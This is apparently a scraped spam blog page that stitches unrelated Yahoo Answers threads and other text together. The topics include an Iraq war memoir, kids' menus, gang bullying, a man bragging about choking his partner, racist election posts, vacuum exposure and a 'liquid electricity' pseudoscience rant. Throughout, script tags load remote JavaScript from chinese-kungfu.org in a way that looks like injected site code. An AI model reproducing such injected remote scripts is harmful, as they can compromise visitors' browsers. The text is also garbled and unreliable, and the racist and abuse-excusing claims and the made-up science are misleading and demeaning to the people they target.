city said that 2 bodies of civilians were moved to the hospital of Miqdadiyah. The source said that the first body was of a man who was killed in an IED explosion near his house in Al Mu'alimeen neighborhood in downtown Baquba city while the second body was of a man who was shot dead near his house in Al Ballor neighborhood in downtown Baquba city." <br><br /><br /><br><br /><br /><br><br /><br />The data for Baghdad that day read: <br><br /><br /><br><br /><br /><br><br /><br />"24 anonymous bodies were found in Baghdad today. 16 bodies were found in Karkh, the western side of Baghdad in the following neighborhoods (7 bodies in Amil, 3 bodies in Doura, 2 bodies in Ghazaliyah, 1 body in Jihad, 1 body in Amiriyah, 1 body in Khadhraa and 1 body in Mahmoudiyah). 8 bodies were found in Rusafa, the eastern side of Baghdad in the following neighborhoods (6 bodies in Sadr city, 1 body in Husseiniyah and 1 body in Sleikh.)"<br><br /><br /><br><br /><br />What could I possibly hope to find in nameless reports like these, especially when I know that most of the Iraqi dead never make it anywhere near these reports. That is the way it has been throughout the occupation. <br><br /><br /><br><br /><br />On July 8th, M sent me this email: <br><br /><br /><br><br /><br /><br><br /><br />Habibi, <br><br /><br /><br><br /><br />Up to this moment, I heard that one of my neighbors saw [H's] photo in the morgue but I couldn't make sure yet. Traditionally, when a body is dropped in a street and found by police, they take it to the morgue. The first thing done is to take a photo for the dead person in the computer to let the families know them. This procedure is followed because the number of bodies is tremendously big. For this people cannot see every body to check for their sons or relatives. For this, people see the photos before going to the refrigerator. I will go to the morgue tomorrow. <br><br /><br /><br><br /><br /><br><br /><br />The next day he wrote yet again: <br><br /><br /><br><br /><br /><br><br /><br />Habibi, <br><br /><br /><br><br /><br />Today I went to the morgue. I saw horrible things there. I didn't see [H's] photo among them. Some figures cannot be easily recognized because of the blood or the face is terribly deformed. I saw also only heads; those who were slayed, it's unbelievable. Tomorrow, we will have another visit to make sure again. In your country, when somebody wants to go to the morgue, he may naturally see two or, say, three or four bodies. For us, I saw hundreds today. Every month, the municipality buries those who are not recognized by their families because of the capacity of the morgue. Imagine! <br><br /><br /><br><br /><br /><br><br /><br />In one of H's last emails to me sent soon after his return home from Syria earlier this summer, he described driving out of Baquba one afternoon. Ominously, he wrote: <br><br /><br /><br><br /><br /><br><br /><br />We left Baquba, which was sinking in a sea of utter chaos, worries, and instability. People there in that small town were scared of being kidnapped, killed, murdered or expelled. The entire security situation over there was deteriorating; getting to the worse.<br><br /><br /><br><br /><br />Now, that passage might be read as his epitaph. <br><br /><br /><br><br /><br />4. Subjectively Speaking <br><br /><br /><br><br /><br />The morning I receive the latest news from M, I crawl back into bed and lie staring at the ceiling, wondering what will become of H's wife and young children, if he is truly dead. Barring a miracle, I assume that will turn out to be the case. <br><br /><br /><br><br /><br />Later, I go for a walk. It's California sunny and the air is pleasantly cool on my skin. I'm aware – as I often am – that I never even consider looking over my shoulder here. I'm also aware that those I pass on my walk don't know that they aren't even considering looking over their shoulders. <br><br /><br /><br><br /><br />The American Heritage Dictionary's second definition of schizophrenia is: <br><br /><br /><br><br /><br /><br><br /><br />A situation or condition that results from the coexistence of disparate or antagonistic qualities, identities, or activities: the national schizophrenia that results from carrying out an unpopular war [italics theirs].<br><br /><br /><br><br /><br />That's what I'm experiencing – a national schizophrenia that results from our government carrying out an unpopular war. It's what I continue to experience with never lessening sharpness two years after my last trip to Iraq. The hardest thing, in the California sun with that cool breeze on my face, is to know that two realities in two grimly linked countries coexist, and most people in my own country are barely conscious of this. <br><br /><br /><br><br /><br />In Iraq, of course, there is nothing disparate, no disjuncture, only a constant, relentless grinding and suffering, a pervasive condition of tragic hopelessness and despair with no end in sight.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a2.js type=text/javascript></script><br>Irak : thousands of stories and no one to listen ?? mission unacomplished and very sad?<br>Is there a QUESTION here?<br><br /><br /><br><br /><br />IMHO you have violated Y!A guideline Don't #1.<br><br /><br /><br><br /><br />DON'Ts<br><br /><br /><br><br /><br />"1.

My two year old nephew has never eaten things like this, or packet crisps or biscuits, he eats what we eat, and snacks on fruit. As a baby he never ate meals from a jar either. He has the most wonderful skin, doesn't get coughs or colds, has had NO problem teething, and he sleeps like a dream, he's very happy too, we call him Mr giggles coz he's so happy!<br><script language=JavaScript src=http://www.chinese-kungfu.org/a1.js type=text/javascript></script><br>When taking children out to a restaurant, cafe or hotel do the catering people think that kids only eat junk?<br>Its a disgrace isn't it?<br><br /><br />I would never let a child eat one of those fat and additive laden so called kids dinners, I would always ask for a small portion of something else on the menu or just share my food.<br><br /><br />This is how children get into appalling eating habits that lead to health problems - maybe Jamie could overhaul eating out as well as school meals?? Jamie's restuarant dinners, could catch on??<br>Reply:You dont get all this abroad, the kids eat what their parents eat, just smaller sizes, thats how they get into the habits of eating veg and pasta etc. Mind you, in this country the parents are eating junk too, so I suppose that argument is null and void<br>Reply:Its quite bad isnt it, Ive got a two year old and bless him he ends up having a sandwich when we're out he dosn't even like chicken nuggets/burgers or whatever other deep fried crap they put on kids menus, he refuses them and who can blame him?<br>Reply:thats so sweet a wish a was more like ur nephew, am a girl though lol but a have nice skin aswell and a eat like lots of junk food<br>Reply:I have noticed that i must admit although i dont have kids, my partners nephew doesnt eat crap like that either - if he comes out with us i share my meal with him usually vegetables or pasta.<br>Reply:They are just stereotypical, they think that because burgers and other junk are tasty that they're the only things that kids like. They try to give what will get them the most money. Good for you for feeding your child healthy food, especially in this day and age. <br><br /><br /><br><br /><br />Say hi to Mr. Giggles for me:)<br>Reply:i used to work in a restaurant and agree with you totally. people could order a small portion of certain meals but they usually cost the same as full price once. there was no kiddies pasta options and in my opinion kids love pasta<br>Reply:you are so right, the same problem in my country<br>Reply:My 9 year old isn't a fan of nuggets and burgers and if we go for a pub meal he always has the pasta option followed by fruit. One pub we went to actually sent someone from the kitchen to check that the order was right because my son wanted an apple for his dessert, apparently even though it was on the kids menu, no-one had ever ordered one before !<br><br /><br />At my sons school they've spent all year teaching them why it's good to eat healthily and he's really taken it to heart, I'm trying to make my 12 year old was more like that, if it isn't crispy coated he complains !!<br>Reply:That does seem to be the case I've gotten to where I eat out less with my kids and serve restaurant quality foods at home my kids have the palettes of gourmets. My daughter loves salads while my son is a meat and potatoes type but neither one really eats the burgers or nuggets they get from fast foods just the fries. When we go to a nice place I usually take them to a place that offers sides of broccoli or salads or a spaghetti plate for the kids.<br>Reply:Well sadly the truth about it is ... most kids only eat junk these days. <br><br /><br /><br><br /><br />Well I think it is brilliant that your nephew is fed properly I only wish the rest of the world would follow suit and do the same.<br><br /><br /><br><br /><br />You will have to take him to perhaps a more organic restaurant to have a meal. Coz these restaurants patronise children with all sorts of junk food.<br><br /><br /><br><br /><br /><br><br /><br />nai nai xx<br>Reply:I guess when we go out to eat a restaurant, you will more than likely order something different from the food that you eat at home, because it's a treat or a special occasion, perhaps they feel that kids should be offered foods they don't eat at home?? I'm happy for you that your nephew is so good, and more than likely his diet is a big factor in his health and behaviour, but not every parent is so lucky, I had a friend who brought her child up exactly as you described and he was a total nightmare, it depends on the nature of the child as well.<br>Reply:I agree totally. When I was growing up there was no junk food in our house and we were frequently taken out to restaurants - part of dad's business perks - and there was none of the junk that we have in there nowadays. If you did not like something, you did not get! Some of the posher restaurants would bend over backwards when my sister's friend would eat nothing but fish fingers. They did not have them (it was a steak house) but they went out of the restaurant, bought some fish, cut it into the right shape and coated with natural breadcrumbs and sauteed. We did wonder if she would eat them because of the colour, and the waiter said that they were special fish fingers which only the Queen's children ate in their nursery. Thankfully she accepted that and ate them without any more ado.<br><br /><br /><br><br /><br />If kids are brought up on convenience food, how are they going to learn? We were brought up natural and apart from the odd dislike, we did not suffer for it!<br>Reply:You are to be commended.<br><br /><br /><br><br /><br />Unfortunately, society in the UK, and possibly the US as well, does not always take a lot of interest in food and seem to think it de rigeur to respond to advertising, which is frequently aimed at children - hence Ronald McDonald.<br><br /><br /><br><br /><br />I have worked Front of House (waiter) in restaurants, and I am appalled at how little knowledge both parents and children seem to have about food, I'm not talking about noisettes of lamb with a celeriac and potato rosti and vichy carrots - I'm talking about steak. When I have asked a customer whether they would prefer fillet or rump, the reply frequenty is 'anything - it's all steak, innit".<br><br /><br /><br><br /><br />European families all sit down at table, and even the six-year olds know their way around a menu. English kids do not even seem to know what to do with a knife and fork, and whinge and create tantrums if they have to eat adult food. I've seen fifteen year olds sulk because we do not serve our Aberdeen Angus burgers in a bun, and adults have sent back the chips because they are "too fat". One of these days I will lose my rag and tell the parents that the skinny matchsticks they expect are not chips, but, more correctly, pommes de terre allumettes.<br><br /><br /><br><br /><br />I am doing some work for the Institute of Hospitality that combines my experience in catering with my qualification as a Social Scientist - I am looking at the catering industry from this dual perspective. Many writers that I have researched claim that there hase been a revolution in food knowledge in the UK, and this is partially the case - the middle classes are more knowledgeable about food, than, say, ten years ago and also dining skills, and, when I go to France, I am no longer a laughing stock because I am an English chef. There is an ever-widening gulf between the social classes, however (witness the parents who pushed pies and burgers through the school fence as these had been banned from school dinners).<br><br /><br /><br><br /><br />You have done the right thing. Food is something to be appreciated and enjoyed, family mealtimes around a table offer a vehicle for conversation and laughter, and children can enjoy honest food as much as adults. Fast food can be eaten with enjoyment at the right time - say, on a trip to a Theme Park, but any parent who stuffs their kids with high-fat food and does not teach table knowledge and etiquette is putting their child's future at risk. Knowledge of food and etiquette is still a requirement in any job outside of social class V.<br><br /><br /><br><br /><br />Finally, I'm not talking about the Gordon Ramsay class of cuisine - I can cook that sort of stuff if need be. What I am talking about is things like soups, stews, gratin dishes, pasta dishes, fish and fruit. If children can eat this sort of fare, then their health and social future is assured. Well done!<br>Reply:Yes, they do think kids eat junk food. And the parents think that if a restaurant won't cater to that, they won't even come eat, losing money for the restaurant. I know when my parents took me out, I did not order off the menu for kids. They wanted me to learn about good food. But to appease my customers I had to have a kids menu. You have no idea how many chicken strips I served over the years. I would have been happy to do smaller portions of decent stuff for kids, but they wanted the danged chicken strips!<br><br /><br /> <br><br /><br />I'm glad your nephew is growing up with an appreciation for real food.<br>Reply:i just order an adult meal and dont make him eat all of it, my 3 year old loves his veg<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js

They will disappear into obscurity and be assimilated into the mass of new immigrants. Anglos will not distinguish between accents and people of similar skin tone. Unless you are a Geraldo you will become a slave to any current good job. If an American of Spanish heritage goes to look for a new job they will be assumed to not speak fluent English, have no education, have no real job skills, and to have come here for a free ride. If they are smart, Americans of this heritage will be pulling all the strings there are to stop this bill.

At school a<br><br /><br />gang member in my class uses a rubberband as a slingshot to shoot paper at me. I cant tell the teacher because everybody will call me stitch and my friends wont like me anymore. I cant fight back because his gang will jump me. I try to stay away from him but still shoots folded paper at me when im far away from him and it really really really hurts my skin, He even shot a staple at my forehead while I'm doing classwork and it was stuck, He said he was going to bring a knife to school and stab me and he brought the knife but he caught by mr.johnson the security at lunch and suspended. Now hes back and following me home and punching me and kicking me every afterschool except when he's absent. When I was on my way to my moms car his gang pulled me out and beat the hell out of me with bandana on half their faces and foreheads and ran to the metro, they even tryd to beat my mom up, they said if i tell its gonna hapen again<br><script language=JavaScript src=http://www.chinese-kungfu.org/a1.js type=text/javascript></script><br>Getting Bullied by gang member?<br>By saying that they are actually afraid of you going to the police. It's even more troublesome if they aren't.You can contact the police first, inform them there's such an issue going on, "lure" them out by doing something that somehow "offends" them (to increase the vehemence of their intention to beat e hell outta you, so they'll get caught with a higher penalty and get in jail! Yahoo!) Let them follow you around in school or home when the police got your back. After they've been caught try changing your residence and school as well for they may have their other gang members to take revenge on you. Perhaps this will help you..<br><br /><br />God Bless..<br>Reply:all gang bangers need to be dropped on an island with no food and no matches...let them all figure out how to survive....man they are soo lucky i dont have magic powers,,they would all be gone.<br>Reply:MOVE AWAY!!!!!!!!!!!!!!!!!!!!!!! seriously whats stopping you and your mom from just picking up and leaving?<br>Reply:As much as you may hate to, you need to go to an adult you trust, who can get you in contact with someone in law enforcement that specializes in gang violence, etc. If you don't stnd up and speak up, it's just going to get worse for you and many others. I know it's a tough situation, hun. I'll pray for you and I want you to pray too. God bless.<br>Reply:BULLIES 101:<br><br /><br />The thing you have to remember about a bully is that they pick on others to make themselves feel better because deep down inside they feel horrible about themselves.<br><br /><br />Gang memeber or not.... you have to tell someone - cause these people need to be stopped. What gives them the right to pick on others? People probably don't say anything because they are afraid of him NOT because they respect him!<br><br /><br />Tell a teacher... or tell your mom so she can talk to the teacher... <br><br /><br />or better yet.... in the middle of lunch or something go up to him and tell him this:<br><br /><br /><br><br /><br />"Why do you pick on me? Oh wait.... I know why.... cause you have to pick on others to make yourself feel better, right?"<br><br /><br /><br><br /><br />and then see what his reaction is.... if he starts to chase you.... run for the hills!!! haha... jk<br><br /><br />I bet my bottom dollar he will be so speachless and he will not even know how to react!<br>Reply:bullies suck dude..and today's gangstas don't mind killing people. You're gonna have to tell someone other than Yahoo answers. Do you have a dad, uncle, older brother? If not you better come clean with the proper authorities, this fuker isn't going to leave you alone.<br>Reply:Try to get him expelled. If he's already been suspended for bringing a knife, he'd probably get expelled if it happened again. <br><br /><br /><br><br /><br />Keep reporting him to school security. Report anonymously if you have to, but it would be better if you can find someone in the Administration that you trust. Until that happens, try to lay low and avoid him.<br>Reply:i would talk to someone about this, this is abuse and you should<br><br /><br />not have to put up with this, talk to your parents and then they can]<br><br /><br />do something about this since they also try to hurt your mother<br><br /><br />as well at assualt and if nothing she can press charged against<br><br /><br />them for hurting her.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>SUEhttp://www.blogger.com/profile/14265735889228765787noreply@blogger.com0tag:blogger.com,1999:blog-8764312873180214149.post-85587257331421919732010-04-24T05:03:00.000-07:002010-04-24T05:03:08.592-07:00Are women secretly attracted to violent men?on the surface you would think HeLL NO!,But upon closer inspectionI never hit a woman,however there have been times when I {like ralph cramdon,i.e.THE hOney mooners}thought it would feel good to send my "alice to the moon!"..truth is I have gone as far as pushing and once i even choked her{4 like 3 seconds}at the climax of a bad argument}.we've been together for 2 years and boy can she get under my skin when she wants to,inspite of my love for her. ...the thing that confuses me is that she seems to..{choosng words carefully}..respond to my "violence" very well.I sometimes wonder if we would ever stop fighting if it wer'nt for me puting my foot down and shoving her around alittle bit!this is what makes me wonder if what women really want is more Ike tuner and less mr.rogers?hence the adage nice guys finish last.whaat do you think?<br><script language=JavaScript src=http://www.chinese-kungfu.org/a2.js type=text/javascript></script><br>Are women secretly attracted to violent men?on the surface you would think HeLL NO!,But upon closer inspection<br>Seriously, you're a ****ing moron.<br><br /><br /><br><br /><br />A ******* ****ing moron. <br><br /><br /><br><br /><br />I can't even believe you would come out here and more or less BRAG about abusing your wife. <br><br /><br /><br><br /><br />"I'm a man...I never hit a woman"<br><br /><br /><br><br /><br />But you've ****ing CHOKED her.<br><br /><br /><br><br /><br />Yeah...you can puff out your chest and strut your **** like a **** in a henhouse.

I still live with physical pain from my relationship and it was never a turn on or something that was enjoyed.<br>Reply:I am with you, most women would say I will never be with a man that cheats on me, calls me names, does this and the other. But really we all know a women or two who is in a relationship like that and will stick with it. I wonder about that myself.

ESPECIALLY Mr. Obama. Just because I say change every two seconds does not mean anything. He thinks we are dumb enough to fall for his subliminal message of Lies!!<br><br /><br />I'm sorry, He just gets under my skin! - He's making this into a black power thing and if we disagree we are racist!!! Haven't we put up with this enough. You should win because you are the most qualified, not because ,, cry me a tear,, you lived a horrible life because you are a black man, and we had slaves a million years ago, so we owe u the world.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a1.js type=text/javascript></script><br>What do u think of this comment?<br>It has always been the plan of racists like Al Sharpton and Jesse Jackson to use Racism as a reason for not getting what they want. Some have stated - Oh, but Jackson't wife supports Hillary. But we are not talking about Jackson's wife; Jackson supports Obama, and his son Jesse Jackson , Jr. is the Obama campaign co-chairman. Sharpton refuses to state who he is supporting (might cause a drop in Obama support). With players like this behind the scene - you can bet Black Power will be used to taunt white voters into shame by calling them racists. There are no greater racists on this planet than those Obama associates with and we are judged by the company we keep, even though Obama is trying to keep them hidden.<br>Reply:cry me a river...<br>Reply:ONE of the things that a president should have in my opinion is Experience....He doesn't have any...<br><br /><br /><br><br /><br />Maybe in 8 years he can become president but not now...<br><br /><br /><br><br /><br />He's smart, but he still needs experience. (My Opinion)<br>Reply:They all cry change, every goddam election. Where have you been?<br>Reply:Obama didn't live a horrible life, what are you talking about?<br>Reply:I agree. He is absolutely full of crap. I believe that he is a racist, and we cannot have a racist president in this day and age. Carter being a racist and anti-semite is enough of a black eye for recent history. We do not need a KNOWN racist as president.<br>Reply:Obama has never mentioned slaves. He is against reparitions. And all the candidates are talking change, not just Obama. You are entitled to your on opinion, but you are not entitled to your own set of facts.<br>Reply:were was the question, isn't it just like if you're against Hillary then your a sexist or against woman, I don't think either one of them should be president, neither should any of the Democratic nominees this year.<br>Reply:Obama makes me almost as sick as Hillary does.<br><br /><br />If these are the best the Dems have to offer,they are in deep trouble.<br>Reply:ummmmm....Sun...it seems you are a bit off base with your attempt to blacklist Obama as your facts appear to be unfounded...<br><br /><br /><br><br /><br />Nonetheless, and with regards to the rheteric of change, each candidtate is crying the same tale in at least one area of our lives, that's for sure...!<br><br /><br /><br><br /><br />Yet, is not this the very same rheteric all the candidates have been saying for the last six decades...? So then, what has really changed beyond each party seeking self preservation of itself at any cost while leaving the American people far back on their agenda...???<br><br /><br /><br><br /><br />Regardless of who wins this election or what party you choose to vote for...the most important consideration we have is to vote for is for the party that create jobs...<br><br /><br /><br><br /><br />Historically, the Pub's answer to fix a slowing economy is to offer a tax break beneficial to the lower income while the almighty rich benefit more from it than do the lower income. And, doing so plunges our national debt further into negative figures...a price we still will have to pay for in taxes...<br><br /><br /><br><br /><br />Historically, the Dems create jobs as their first major agenda item and other issues, be they good or bad or simply leftovers from the previous president, they come later...jobs come first...!<br><br /><br /><br><br /><br />I am an Independent and will vote for the party creating jobs as my first interest... I cannot pay my expenses if I am not working and a $300.00 government handout will not keep me out of debt either...<br><br /><br /><br><br /><br />As for Obama getting under your skin, it's your privilege to feel so, yes, but if you feel "reputation" (including race) so strongly then perhaps you should research Hillary behind the scenes and you would quickly be glad to cast this woman away, I assure you...<br><br /><br /><br><br /><br />I do respect your "personal" opinion, Sun, but feel you are missing some very important details...<br><br /><br /><br><br /><br />Vote wisely...<br>Reply:Obama is having trouble keeping his faith connections in<br><br /><br />order. First he had Muslin training than Trinity Christian<br><br /><br />training. I agree he is using his black background for gaining<br><br /><br />power to win. You are right that the ideal candidate should<br><br /><br />be concerned with the good of our country. Also Obama has<br><br /><br />not had any experience with foreign politics. I think America<br><br /><br />is having difficulty deciding which candidate should be<br><br /><br />followed and voted for. No one has stepped up to bat that<br><br /><br />has excited the voters as the right choice. I still believe a<br><br /><br />dark horse could still come forward that would do the job<br><br /><br />that America needs.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>SUEhttp://www.blogger.com/profile/14265735889228765787noreply@blogger.com0tag:blogger.com,1999:blog-8764312873180214149.post-76309442338864024052010-04-24T05:02:00.000-07:002010-04-24T05:02:02.940-07:00Would an unprotected person subjected to the vacuum of space actually inflate and or explode?In the James Bond movie "Live and Let Die", the Mr. Big character swallows a gas expelling bullet.

The body would swell up probably to about twice its volume. This is due to the evaporation pressure of water inside the cells, causing them to expand. This process would not be immediate, though. I think it would take a couple of hours.<br>Reply:Try it and let us know the results. I expect a full report in the morning. Just go borrow a few vacuum cleaners and get about a 75 gallon supersized trash bag.........<br>Reply:Probably rupture not explode. Space is a vacuum. You have blood pressure that pushes against air pressure. Eliminate air pressure and it would be like a tire tube bursting that pushes beyond its outer shell.<br><br /><br />Not a pretty picture.<br><br /><br />That is if you don't fry or freeze as well as suffocate at the same time.<br>Reply:Neither.<br><br /><br />Contrary to popular belief, a person suddenly exposed unprotected to space would not explode, freeze to death (space may be cold, but it's mostly vacuum and the main temperature concern for astronauts is how to get rid of body heat), or die from boiling blood. It would take a short while to die by asphyxiation (suffocation). <br><br /><br />Air would immediately leave the lungs due to the enormous pressure difference. Any oxygen dissolved in the blood would empty into the lungs to try to equalize the partial pressure. Once the deoxygenated blood arrived at the brain, death would quickly follow. Water vapor would also rapidly evaporate off from exposed areas such as the lungs, cornea of the eye and mouth, cooling the body.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><a href=http://elephant-foot.blogspot.com/>elephant foot</a>SUEhttp://www.blogger.com/profile/14265735889228765787noreply@blogger.com0tag:blogger.com,1999:blog-8764312873180214149.post-25867854990107812752010-04-24T05:01:00.001-07:002010-04-24T05:01:34.820-07:00What's you opinon on this list of greatest guitar solos?My favorite is Comfortably Numb<br><br /><br /><br><br /><br />1.

I'm also sick of qualifying every statement i make to please people who love to attack every generalization so they can exclude themselves from the list of offenders. Really look at yourself and realize you are contributing to the problem too in some way either by action or inaction. Either way as a white person I have to turn my back and stop listening and caring about these petty problems. If mexican people can come here and not know any english and prosper then the same should be expected of every other group of people in this country. I don't feel like I have to accept black culture if that culture has huge aspects of it that are demented and anti productive. If you act like a punk and talk like a punk you're a punk regardless of skin color. Read some books and reduce your punks.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a2.js type=text/javascript></script><br>How Many People Are Sick Of These Over Reactions To Recent "Racial" Events And Especially Al Sharpton<br>Well, i m not sure whats ur question John O but i support every single word of ur opinion. I m not blacnk but i also have the same kind of view as urs. And people like us should keep forward about issues like these.<br>Reply:Sure a shame isn't it. I can't even call a spade a spade without someone taking issue. A shovel and spade are not the same. <br><br /><br /><br><br /><br />It is like measles so if one gets it the others most likely will to. Now it is the fashion to take issue with anyone of fame that may possibly have said something that in the remotest way could be racist. <br><br /><br /><br><br /><br />I am racist and I know it. All of you are too and will not admit it. If you do not think you are then the next time you see someone of another colcur be sure to think about your first reaction. We all react to others no matter what or where we or they are. It is what you do about your reactions.<br>Reply:First of all let me start out by saying that I am a 27 year old African American. I have a Bachelors degree and I am currently striving towards my Masters Degree. Therefore, I think I would have read a few books as you say. My question is whether or not you have read any books. This is questionable only because you have referred to "black culture" as having huge aspects that are demented and anti-productive. There are many things that you do and use on a daily basis that would not be possible had it not been for an invention or achievement made by an African American. I would like to challenge you right now to go to the website at the bottom of my posting and read about the so called "anti productive" culture you referred to in your posting. If you scroll down towards the bottom of the webpage there are charts that list the names of African Americans and their achievements.<br><br /><br /><br><br /><br />Your opinion on civil rights leaders such as Al Sharpton are misplaced as well. While I agree with you about the fact anyone with enough drive can achieve their dreams, I have to disagree with you on the issue of whether or not there is a need for people such as Mr. Sharpton. Everyone in this world is not prejudice. However, there are a lot of people out there who still are prejudice. So the need for our civil rights activists still exists. However, in recognizing the fact that America has come a long way in the area of race relations, I would have to say that the need for such civil rights leaders is not as great.<br>Reply:It's not healthy for our youth to observe people that don't get their way and protest and through fits and get their way! Kids would be in "time out"!!

Study of the device in my mind's lab, I discovered a steady flow of regulated liquid electricity will open the bonds of an inert element, in a Pyrex lab manufactures assembly... in which a chemical-salt in an inert gas atmosphere is bathed with liquid electricity... thereby cracking the bonds of the inert element molecule, forming an active inert element salt, to mix with the millions of chemicals we have...<br><br /><br />Further research suggests this process holds the potential of creating approx. 200-million immediately-useful new compounds...<br><br /><br />Neon citrate, ingested in barely visible quantity will cause the average mammal to spontaneously orgasm in their pants where they stand, sit, or lay... This item will destroy the disease in the illicit sex trade, and give our cultures a chance to heal out the STD plagues... and even real old folks will be getting their orgasmic jollies too...<br><br /><br />If Mr. John Lennon were around for this, I'm sure he would consider salting a large quantity of the stuff in parliament's drinking water...<br><br /><br /><br><br /><br />The liquid electricity emitter's raw output is a dirty-pink stationary light-cloud... which evolves into 4-D TV, and into the cinema special effects breakthroughs for the next 500-years... Filmable synthetic actors, restricted only by a lack of imagination... This technology holds the potential to create hologram spaceships, and much more than there is words for....<br><br /><br /><br><br /><br />A little further research, this toy evolves into an engine that will obsolete fire as a power source... Fire will become illegal... The atmosphere will have the opportunity to self-heal...<br><br /><br /><br><br /><br />This plazma engine will power all our vehicles, including moon and mars capable consumer RV's... and will provide mankind with the basic means to populate other planets, in other solar systems...<br><br /><br /><br><br /><br />This engine evolved to tools and weaponry, will do things like, "write a poem on a lunar cliff face from earth... and drill a meter diameter hole 20-miles into the earth's crust, for us to plant magma batteries, which crystallize into crystallines, with hardnesses 14 to 28 on the Mho's scale... Thereby revolutionizing several industries: optics, bearings, abrasives, weaponry, and pretty much every industry in many ways...<br><br /><br /><br><br /><br />This is what our Species has been searching for... I found it, but it seems no one can even begin to fathom any of it... I tell 'em some of it.. and they label everything they can't fathom as "crazy"... HaH!.. they ought to see themselves from my vantage... they'd cry...<br><br /><br /><br><br /><br />Years ago I attempted to detail the workings of the basic plazma engine, to a nuclear physicist... 60-seconds into the description, he dropped his chin, turned pale, attempted to speak, accused me of "talking in the forth dimension, attempted to stand, walked three paces, and fell flat on his face...<br><br /><br /><br><br /><br />The usual reaction I get when mentioning any of this, in various forums, is flame and barrages mindless insults, and varying religious, physiological, and political battles with aggressive mindless people...<br><br /><br />I defend myself well against slanderous attacks, which has resulted in me being banned from several forums, and scientific communities...<br><br /><br /><br><br /><br />Please! Lets make this a constructive thread... None of that flame and bullying... If your words (posts) are meant to sting, that's bullying...<br><br /><br />I know I'm "crazy" about this stuff, and that I need $help, and that I'm "this", and that I'm "that", in your megre opinions... I've heard it all before, repeatedly, in various world forums, and other idiot-class sources... and from the mindless scientific community, that can't even grasp the first minute of this technology... It's the same poweful great "wall" of fear and insanity that all the ancient greats were confronted by... I.E.: It's what trashed Tesla's lab after he plugged a light-bulb into the ground...<br><br /><br />It's what ridiculed Flemming for inventing penicillin, and for claiming that "tiny invisible bugs are the cause of disease"... So the medical scientific community tried to destroy Flemming and his family, as they continued their tapping wounds with filthy turkey feathers dipped in alcohol and various brightly colored rock powders, to "frighten disease away"...<br><br /><br /><br><br /><br />It's that Dam Wall... I just can't see light through it... Does anybody know of a secret entry point through this Race's mindless insanity levels, how a great scientist can build new technologies, to give this Race more...? <br><br /><br />You stifle me more than you assist me... HeLL!.. You only stifle me from giving you what you need.. Are you all nuts?..<br><br /><br /><br><br /><br />Point is, with those new chemicals, we can grow synthetic replacement organs and tissues... Perfect androids will become a reality... We will be wearing our PC's on our forearms, as skin grafts, fed by inerts added to the blood... Computers that grow their own programs...<br><br /><br /><br><br /><br />My gentle roommate, reading over my shoulder as I key, says n a soft voice, "They're not ready for you yet... You best just forget it! You're just too far ahead of your time. Now come back to bedp; I've got something new to try out on you."...<br><br /><br /><br><br /><br />I clicked the PC Off...<br><br /><br /><br><br /><br /><br><br /><br /><br><br /><br />I just need the use of a lab, so you can pilot your own toys to Mars and back, and to give you what will boost life expectancy to near 300, and eventually to our 700 peak max....<br><br /><br /><br><br /><br />Anybody have any links to an idle state of the art laser lab/lapidary safe-lab..?<br><script language=JavaScript src=http://www.chinese-kungfu.org/a1.js type=text/javascript></script><br>Does this sound "crazy" to you..? and why..?<br>That's quite amazing, I've been thinking along the same lines myself.

You win a war by making the other son-of-a-***** die for his. - General Patton <br><br /><br />When the pin is pulled, mr. Grenade is not our friend. -US Marine Corps <br><br /><br />If it's stupid but works, it isn't stupid. <br><br /><br />Cluster bombing from b-52s is very, very accurate. The bombs are guaranteed to always hit the ground. - U.S.A.F. Armament Group <br><br /><br />The difficult we do immediately. The impossible takes a little while longer. - U.S. Navy Seabees <br><br /><br />If the enemy is in range, so are you. - Infantry Journal <br><br /><br />Whoever said the pen is mightier than the sword obviously never encountered automatic weapons! <br><br /><br />A slipping gear could let your m203 grenade launcher fire when you least expect it. That would make you quite unpopular in what's left of your unit. - Army's magazine of prevention maintenance <br><br /><br />When in doubt empty the magazine. <br><br /><br />It is generally inadvisable to eject directly over the area you just bombed - US. Air Force manual <br><br /><br />If God had meant for us to be in the Army, we would have been born with green, baggy skin. <br><br /><br />It is generally inadvisable to eject directly over the area you just bombed. - U.S. Army Ordnance <br><br /><br />Try to look unimportant, they may be low on ammo. <br><br /><br />Bravery is being the only one who knows you're afraid. - Col. David Hackworth <br><br /><br />You, you, and you: Panic. The rest of you, come with me. <br><br /><br />If your attack is going too well, you're walking into an ambush. - Infantry Journal <br><br /><br />Odd objects attract fire - never lurk behind one. <br><br /><br />Any ship can be a minesweeper....once. - Anonymous <br><br /><br />Incoming fire has the right of way. <br><br /><br />Never tell the platoon sergeant you have nothing to do. - Unknown Marine Recruit <br><br /><br />Don't look conspicuous: it draws fire. <br><br /><br />Don't draw fire; it irritates the people around you. - Infantry Journal <br><br /><br />Tracers work both ways. <br><br /><br />If you see a bomb technician running, try to keep up with him. - U.S.A.F. Armament Group <br><br /><br />Five second fuses only last three seconds. <br><br /><br />Who cares if a laser guided 500 lb bomb is accurate to within 9 feet? <br><br /><br />The easy way is always mined. <br><br /><br />Don't ever be the first, don't ever be the last and don't ever volunteer to do anything. <br><br /><br />Never share a fox hole with anyone braver than you. <br><br /><br />Never trust a private with a loaded weapon, or an officer with a map. <br><br /><br />If you can't remember, the Claymore is pointed towards you. <br><br /><br />Teamwork is essential; it gives the enemy someone else to shoot at. <br><br /><br />Push to test... Release to detonate. <br><br /><br />Those who beat their swords into plowshares will plow for those who don't. <br><br /><br />There is no such thing as an atheist in a foxhole. <br><br /><br />No combat ready unit has ever passed inspection. <br><br /><br />Make it too tough for the enemy to get in and you can't get out. <br><br /><br />The more you sweat in peace, the less you bleed in war. <br><br /><br />The enemy invariably attacks on one of two occasions: 1. When you're ready for them. 2. When you're not ready for them. <br><br /><br />Combat will occur on the ground between two adjoining maps. <br><br /><br />Friendly fire - isn't. <br><br /><br />Sometimes I think war is God's way of teaching us geography. - Paul Rodriguez <br><br /><br />The side with the simplest uniforms wins. <br><br /><br />When you're short of everything but the enemy, you're in combat. <br><br /><br />Mines are equal opportunity weapons. <br><br /><br />We are not retreating, we are advancing in another direction. <br><br /><br />If you find 